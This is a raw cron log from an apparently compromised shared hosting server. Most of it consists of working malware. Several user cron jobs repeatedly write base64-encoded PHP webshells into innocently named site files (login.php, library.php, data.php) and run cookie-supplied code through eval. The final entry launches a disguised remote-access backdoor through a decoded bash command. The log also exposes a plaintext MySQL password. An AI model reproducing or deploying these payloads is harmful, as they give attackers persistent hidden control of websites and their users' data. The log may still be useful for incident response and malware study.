"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:58:02 medusa CROND[26795]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:58:02 medusa CROND[26796]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:58:02 medusa CROND[26793]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:58:02 medusa CROND[26801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:59:01 medusa CROND[28663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:59:01 medusa CROND[28664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:59:01 medusa CROND[28665]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:59:01 medusa CROND[28666]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:59:01 medusa CROND[28669]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:59:01 medusa CROND[28670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:59:01 medusa CROND[28671]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:59:01 medusa CROND[28673]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:59:01 medusa CROND[28674]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:59:01 medusa CROND[28676]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:59:01 medusa CROND[28677]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:59:01 medusa CROND[28679]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:00:01 medusa CROND[30701]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:00:01 medusa CROND[30710]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:00:01 medusa CROND[30711]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30722]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:00:02 medusa CROND[30728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 10:00:02 medusa CROND[30730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30731]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:00:02 medusa CROND[30732]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 10:00:02 medusa CROND[30733]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:00:02 medusa CROND[30734]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30735]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30738]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:00:02 medusa CROND[30739]: (larompe) CMD (mysqldump -u larompe -pCrossfit1988 --databases larompe_cervecerias |   gzip -c >/home5/larompe/backups/`date   -I`_cervecerias.sql.gz)
Jun  7 10:00:02 medusa CROND[30744]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:00:02 medusa CROND[30745]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Jun  7 10:00:02 medusa CROND[30740]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 10:00:02 medusa CROND[30748]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 10:00:02 medusa CROND[30743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:00:02 medusa CROND[30749]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 10:00:02 medusa CROND[30754]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
